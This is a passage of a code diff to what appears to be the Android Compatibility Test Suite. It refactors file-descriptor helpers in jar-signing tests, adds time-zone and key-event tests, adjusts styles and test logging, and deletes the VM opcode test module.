-                new File(mResourcesFile, "Integrate.jar").getAbsolutePath(),
-                        OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, "Integrate.jar").getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkJarSigning_fudgedEntry(jarFile);
     }
@@ -272,9 +268,8 @@
     @Test
     public void testJarSigning_modifiedClass_FD() throws IOException {
         copyFile("Modified_Class.jar");
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, "Modified_Class.jar").getAbsolutePath(),
-                        OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, "Modified_Class.jar").getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkJarSigning_modifiedClass(jarFile);
     }
@@ -340,9 +335,8 @@
 
     private void verifyThrowsOnInitFD(String name) throws Exception {
         copyFile(name);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, name).getAbsolutePath(),
-                        OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, name).getAbsolutePath());
         try {
             new StrictJarFile(fd);
             fail();
@@ -350,6 +344,25 @@
         }
     }
 
+    private static FileDescriptor createReadOnlyFileDescriptor(String path) throws IOException {
+        final int mode = 0;
+        try {
+            return Os.open(path, OsConstants.O_RDONLY, mode);
+        } catch (ErrnoException e) {
+            throw new IOException(e);
+        }
+    }
+
+    private static String readUtf8String(InputStream inputStream) throws IOException {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream(128);
+        byte[] readBuffer = new byte[128];
+        int byteCount;
+        while ((byteCount = inputStream.read(readBuffer)) != -1) {
+            baos.write(readBuffer, 0, byteCount);
+        }
+        return new String(baos.toByteArray(), StandardCharsets.UTF_8);
+    }
+
     private File copyFile(String file) {
         File dest = new File(mResourcesFile.toString() + "/" + file);
 
diff --git a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
index 3362caf..ab22de2 100644
--- a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
@@ -16,6 +16,9 @@
 package android.util.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
@@ -25,6 +28,8 @@
 import org.junit.runner.RunWith;
 
 import java.util.Calendar;
+import java.util.Collection;
+import java.util.List;
 import java.util.TimeZone;
 
 @SmallTest
@@ -142,9 +147,42 @@
         assertFormatDuration("-15542d1h11m11s555ms", -1342833071555L);
     }
 
-    private void assertFormatDuration(String expected, long duration) {
+    private static void assertFormatDuration(String expected, long duration) {
         StringBuilder sb = new StringBuilder();
         TimeUtils.formatDuration(duration, sb);
         assertEquals("formatDuration(" + duration + ")", expected, sb.toString());
     }
+
+    @Test
+    public void testGetTimeZoneIdsForCountryCode() {
+        List<String> usTimeZones = TimeUtils.getTimeZoneIdsForCountryCode("us");
+
+        // Sample the content without being too exact.
+        assertCollectionContains(usTimeZones, "America/Los_Angeles");
+        assertCollectionContains(usTimeZones, "America/New_York");
+
+        // Assert we don't care about casing of the country code.
+        assertEquals(usTimeZones, TimeUtils.getTimeZoneIdsForCountryCode("US"));
+        assertEquals(usTimeZones, TimeUtils.getTimeZoneIdsForCountryCode("uS"));
+        assertEquals(usTimeZones, TimeUtils.getTimeZoneIdsForCountryCode("Us"));
+    }
+
+    @Test
+    public void testGetTimeZoneIdsForCountryCode_unknownCountryCode() {
+        String unknownCountryCode = "zx81";
+        assertNull(TimeUtils.getTimeZoneIdsForCountryCode(unknownCountryCode));
+    }
+
+    @Test
+    public void testGetTimeZoneIdsForCountryCode_nullCountryCode() {
+        try {
+            TimeUtils.getTimeZoneIdsForCountryCode(null);
+            fail();
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    private static <T> void assertCollectionContains(Collection<? super T> collection, T value) {
+        assertTrue(collection + " should contain " + value, collection.contains(value));
+    }
 }
diff --git a/tests/tests/view/res/values/styles.xml b/tests/tests/view/res/values/styles.xml
index 17bc2a3..5e47363 100644
--- a/tests/tests/view/res/values/styles.xml
+++ b/tests/tests/view/res/values/styles.xml
@@ -125,8 +125,8 @@
 
     <style name="TestProgressBar">
         <item name="android:indeterminateOnly">false</item>
-        <item name="android:progressDrawable">?android:drawable/progress_horizontal</item>
-        <item name="android:indeterminateDrawable">?android:drawable/progress_horizontal</item>
+        <item name="android:progressDrawable">@android:drawable/progress_horizontal</item>
+        <item name="android:indeterminateDrawable">@android:drawable/progress_horizontal</item>
         <item name="android:minHeight">20dip</item>
         <item name="android:maxHeight">20dip</item>
         <item name="android:focusable">true</item>
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
index 32f5358..598552b 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -44,9 +44,6 @@
  *      KEYCODE_HOME
  * This test launches an Activity and inject KeyEvents with the corresponding key codes.
  * The test will fail if any of these keys are received by the activity.
- * Note: The ASSIST tests were removed because they caused a side-effect of launching the
- * assistant asynchronously (as intended), which causes problems with tests which happen to
- * be running later and lose focus/visibility because of that extra window.
  */
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -66,6 +63,16 @@
     }
 
     @Test
+    public void testKeyCodeAssist() {
+        testKey(KeyEvent.KEYCODE_ASSIST);
+    }
+
+    @Test
+    public void testKeyCodeVoiceAssist() {
+        testKey(KeyEvent.KEYCODE_VOICE_ASSIST);
+    }
+
+    @Test
     public void testKeyCodeHome() {
         testKey(KeyEvent.KEYCODE_HOME);
     }
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index 08e96fe..8e324c9 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -297,8 +297,8 @@
 
     <style name="TestProgressBar">
         <item name="android:indeterminateOnly">false</item>
-        <item name="android:progressDrawable">?android:drawable/progress_horizontal</item>
-        <item name="android:indeterminateDrawable">?android:drawable/progress_horizontal</item>
+        <item name="android:progressDrawable">@android:drawable/progress_horizontal</item>
+        <item name="android:indeterminateDrawable">@android:drawable/progress_horizontal</item>
         <item name="android:minHeight">20dip</item>
         <item name="android:maxHeight">20dip</item>
         <item name="android:focusable">true</item>
diff --git a/tests/tests/widget/src/android/widget/cts/OWNERS b/tests/tests/widget/src/android/widget/cts/OWNERS
index f8095fe..dd41f7f 100644
--- a/tests/tests/widget/src/android/widget/cts/OWNERS
+++ b/tests/tests/widget/src/android/widget/cts/OWNERS
@@ -1,7 +1 @@
-per-file TextView*.java = siyamed@google.com
-per-file TextView*.java = nona@google.com
-per-file TextView*.java = clarabayarri@google.com
-
-per-file EditText*.java = siyamed@google.com
-per-file EditText*.java = nona@google.com
-per-file EditText*.java = clarabayarri@google.com
+per-file TextView*.java, EditText*.java = siyamed@google.com, nona@google.com, clarabayarri@google.com
diff --git a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
index e9c7ae0..ac8eed99 100644
--- a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
+++ b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
@@ -30,6 +30,7 @@
 import android.media.tv.TvContract.Programs;
 import android.net.Uri;
 import android.os.RemoteException;
+import android.util.Log;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
@@ -51,6 +52,7 @@
     private static final int TRANSACTION_RUNS = 100;
     private static final int QUERY_RUNS = 10;
     private static final String REPORT_LOG_NAME = "CtsTvProviderTestCases";
+    private static final String TAG = "TvProviderPerfTest";
 
     private ContentResolver mContentResolver;
     private String mInputId;
@@ -81,11 +83,16 @@
         if (!mHasTvInputFramework) return;
         double[] averages = new double[5];
 
-        // Insert
+        Log.d(TAG, "Insert");
         final ArrayList<ContentProviderOperation> operations = new ArrayList<>();
         final int TRANSACTION_SIZE = 1000;
         double[] applyBatchTimes = MeasureTime.measure(TRANSACTION_RUNS, new MeasureRun() {
             @Override
+            public void prepare(int i) {
+                mContentResolver.delete(Channels.CONTENT_URI, null, null);
+            }
+
+            @Override
             public void run(int i) {
                 operations.clear();
                 for (int j = 0; j < TRANSACTION_SIZE; ++j) {
@@ -111,7 +118,7 @@
                 ResultUnit.MS);
         averages[0] = Stat.getAverage(applyBatchTimes);
 
-        // Update
+        Log.d(TAG, "Update");
         final String[] projection = { Channels._ID };
         try (final Cursor cursor = mContentResolver.query(Channels.CONTENT_URI,
                 projection, null, null, null)) {
@@ -139,7 +146,7 @@
                 ResultUnit.MS);
         averages[1] = Stat.getAverage(applyBatchTimes);
 
-        // Query channels
+        Log.d(TAG, "Query channels");
         applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -155,7 +162,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[2] = Stat.getAverage(applyBatchTimes);
 
-        // Query a channel
+        Log.d(TAG, "Query a channel");
         try (final Cursor cursor = mContentResolver.query(Channels.CONTENT_URI,
                 projection, null, null, null)) {
             applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
@@ -175,7 +182,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[3] = Stat.getAverage(applyBatchTimes);
 
-        // Delete
+        Log.d(TAG, "Delete");
         applyBatchTimes = MeasureTime.measure(1, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -195,7 +202,7 @@
         if (!mHasTvInputFramework) return;
         double[] averages = new double[7];
 
-        // Prepare (insert channels)
+        Log.d(TAG, "Prepare (insert channels)");
         final ArrayList<ContentProviderOperation> operations = new ArrayList<>();
         final int TRANSACTION_SIZE = 1000;
         final int NUM_CHANNELS = 100;
@@ -222,7 +229,7 @@
             throw new RuntimeException(e);
         }
 
-        // Insert
+        Log.d(TAG, "Insert programs");
         double[] applyBatchTimes = MeasureTime.measure(NUM_CHANNELS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -249,7 +256,7 @@
                 ResultUnit.MS);
         averages[0] = Stat.getAverage(applyBatchTimes);
 
-        // Update
+        Log.d(TAG, "Update programs");
         final long PROGRAM_DURATION_MS = 60 * 1000;
         final String[] projection = { Programs._ID };
         applyBatchTimes = MeasureTime.measure(NUM_CHANNELS, new MeasureRun() {
@@ -284,7 +291,7 @@
                 ResultUnit.MS);
         averages[1] = Stat.getAverage(applyBatchTimes);
 
-        // Query programs
+        Log.d(TAG, "Query programs");
         applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -300,7 +307,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[2] = Stat.getAverage(applyBatchTimes);
 
-        // Query programs with selection
+        Log.d(TAG, "Query programs with selection");
         applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -320,7 +327,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[3] = Stat.getAverage(applyBatchTimes);
 
-        // Query a program
+        Log.d(TAG, "Query a program");
         try (final Cursor cursor = mContentResolver.query(Programs.CONTENT_URI,
                 projection, null, null, null)) {
             applyBatchTimes = MeasureTime.measure(QUERY_RUNS, new MeasureRun() {
@@ -340,7 +347,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[4] = Stat.getAverage(applyBatchTimes);
 
-        // Delete programs
+        Log.d(TAG, "Delete programs");
         applyBatchTimes = MeasureTime.measure(NUM_CHANNELS, new MeasureRun() {
             @Override
             public void run(int i) {
@@ -357,7 +364,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         averages[5] = Stat.getAverage(applyBatchTimes);
 
-        // Delete channels
+        Log.d(TAG, "Delete channels");
         applyBatchTimes = MeasureTime.measure(NUM_CHANNELS, new MeasureRun() {
             @Override
             public void run(int i) {
diff --git a/tests/vm/Android.mk b/tests/vm/Android.mk
deleted file mode 100755
index 8391815..0000000
--- a/tests/vm/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsVmTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/vm/AndroidManifest.xml b/tests/vm/AndroidManifest.xml
deleted file mode 100755
index cbd2c90..0000000
--- a/tests/vm/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.vm.cts">
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="CTS VM test cases"
-        android:targetPackage="android.vm.cts" >
-    </instrumentation>
-</manifest>
-
diff --git a/tests/vm/AndroidTest.xml b/tests/vm/AndroidTest.xml
deleted file mode 100644
index 4035349..0000000
--- a/tests/vm/AndroidTest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS VM test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="art" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsVmTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.vm.cts" />
-        <option name="runtime-hint" value="20m14s" />
-    </test>
-</configuration>
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDoubleTest.java b/tests/vm/src/android/vm/cts/opcodes/add_double/AddDoubleTest.java
deleted file mode 100644
index ba5a41d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDoubleTest.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_double;
-
-import junit.framework.TestCase;
-
-public class AddDoubleTest extends TestCase {
-
-    /**
-     * @title Arguments = 2.7d, 3.14d
-     */
-    public void testN1() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(5.84d, t.run(2.7d, 3.14d));
-    }
-
-    /**
-     * @title Arguments = 0, -3.14d
-     */
-    public void testN2() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(-3.14d, t.run(0, -3.14d));
-    }
-
-    /**
-     * @title Arguments = -3.14d, -2.7d
-     */
-    public void testN3() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(-5.84d, t.run(-3.14d, -2.7d));
-    }
-
-    /**
-     * @title Arguments = Double.MAX_VALUE, Double.NaN
-     */
-    public void testB1() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.NaN, t.run(Double.MAX_VALUE, Double.NaN));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY,
-     * Double.NEGATIVE_INFINITY
-     */
-    public void testB2() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.NaN, t.run(Double.POSITIVE_INFINITY, Double.NEGATIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY,
-     * Double.POSITIVE_INFINITY
-     */
-    public void testB3() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.POSITIVE_INFINITY,
-                Double.POSITIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY, -2.7d
-     */
-    public void testB4() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.POSITIVE_INFINITY, -2.7d));
-    }
-
-    /**
-     * @title Arguments = +0, -0
-     */
-    public void testB5() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(+0d, t.run(+0d, -0d));
-    }
-
-    /**
-     * @title Arguments = -0d, -0d
-     */
-    public void testB6() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(-0d, t.run(-0d, -0d));
-    }
-
-    /**
-     * @title Arguments = -2.7d, 2.7d
-     */
-    public void testB7() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(+0d, t.run(-2.7d, 2.7d));
-    }
-
-    /**
-     * @title Arguments = Double.MAX_VALUE, Double.MAX_VALUE
-     */
-    public void testB8() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.MAX_VALUE, Double.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Double.MIN_VALUE, -4.9E-324
-     */
-    public void testB9() {
-        AddDouble_1 t = new AddDouble_1();
-        assertEquals(0d, t.run(Double.MIN_VALUE, -4.9E-324));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_1.java b/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_1.java
deleted file mode 100644
index d4ebed2..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double;
-
-public class AddDouble_1 {
-
-    public double run(double a, double b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_3.java b/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_3.java
deleted file mode 100644
index 587a68b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double/AddDouble_3.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double;
-
-public class AddDouble_3 {
-
-    public double run(long a, double b) {
-        return 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2AddrTest.java b/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2AddrTest.java
deleted file mode 100644
index 27de92c..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2AddrTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double_2addr;
-
-import junit.framework.TestCase;
-
-public class AddDouble2AddrTest extends TestCase {
-    /**
-     * @title Arguments = 2.7d, 3.14d
-     */
-    public void testN1() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(5.84d, t.run(2.7d, 3.14d));
-    }
-
-    /**
-     * @title Arguments = 0, -3.14d
-     */
-    public void testN2() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(-3.14d, t.run(0, -3.14d));
-    }
-
-    /**
-     * @title Arguments = -3.14d, -2.7d
-     */
-    public void testN3() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(-5.84d, t.run(-3.14d, -2.7d));
-    }
-
-    /**
-     * @title Arguments = Double.MAX_VALUE, Double.NaN
-     */
-    public void testB1() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.NaN, t.run(Double.MAX_VALUE, Double.NaN));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY,
-     * Double.NEGATIVE_INFINITY
-     */
-    public void testB2() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.NaN, t.run(Double.POSITIVE_INFINITY,
-                Double.NEGATIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY,
-     * Double.POSITIVE_INFINITY
-     */
-    public void testB3() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.POSITIVE_INFINITY,
-                Double.POSITIVE_INFINITY));
-    }
-
-    /**
-     * @title Arguments = Double.POSITIVE_INFINITY, -2.7d
-     */
-    public void testB4() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.POSITIVE_INFINITY,
-                -2.7d));
-    }
-
-    /**
-     * @title Arguments = +0, -0
-     */
-    public void testB5() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(+0d, t.run(+0d, -0d));
-    }
-
-    /**
-     * @title Arguments = -0d, -0d
-     */
-    public void testB6() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(-0d, t.run(-0d, -0d));
-    }
-
-    /**
-     * @title Arguments = -2.7d, 2.7d
-     */
-    public void testB7() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(+0d, t.run(-2.7d, 2.7d));
-    }
-
-    /**
-     * @title Arguments = Double.MAX_VALUE, Double.MAX_VALUE
-     */
-    public void testB8() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(Double.POSITIVE_INFINITY, t.run(Double.MAX_VALUE,
-                Double.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Double.MIN_VALUE, -4.9E-324
-     */
-    public void testB9() {
-        AddDouble2Addr_1 t = new AddDouble2Addr_1();
-        assertEquals(0d, t.run(Double.MIN_VALUE, -4.9E-324));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_1.java b/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_1.java
deleted file mode 100644
index 2536113..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double_2addr;
-
-public class AddDouble2Addr_1 {
-
-    public double run(double a, double b) {
-        return a + b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_3.java b/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_3.java
deleted file mode 100644
index 7ed1fe8..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_double_2addr/AddDouble2Addr_3.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_double_2addr;
-
-public class AddDouble2Addr_3 {
-
-    public double run(long a) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloatTest.java b/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloatTest.java
deleted file mode 100644
index 76490b0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_float/AddFloatTest.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_float;
-
-import junit.framework.TestCase;
-
-public class AddFloatTest extends TestCase {
-    /**
-     * @title Arguments = 2.7f, 3.14f
-     */
-    public void testN1() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(5.84f, t.run(2.7f, 3.14f));
-    }
-
-    /**
-     * @title Arguments = 0, -3.14f
-     */
-    public void testN2() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(-3.14f, t.run(0, -3.14f));
-    }
-
-    /**
-     * @title Arguments = -3.14f, -2.7f
-     */
-    public void testN3() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(-5.84f, t.run(-3.14f, -2.7f));
-    }
-
-    /**
-     * @title Arguments = Float.MAX_VALUE, Float.NaN
-     */
-    public void testB1() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(3.3028235E38f, 0.11E38f));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY,
-     * Float.NEGATIVE_INFINITY
-     */
-    public void testB2() {
-        AddFloat_1 t = new AddFloat_1();
-        assertTrue(Float.isNaN(t.run(Float.POSITIVE_INFINITY,
-                Float.NEGATIVE_INFINITY)));
-    }
-
-    /**
-     * @title Arguments = Float.POSITIVE_INFINITY,
-     * Float.POSITIVE_INFINITY
-     */
-    public void testB3() {
-        AddFloat_1 t = new AddFloat_1();
-        assertEquals(Float.POSITIVE_INFINITY, t.run(Float.POSITIVE_INFINITY,
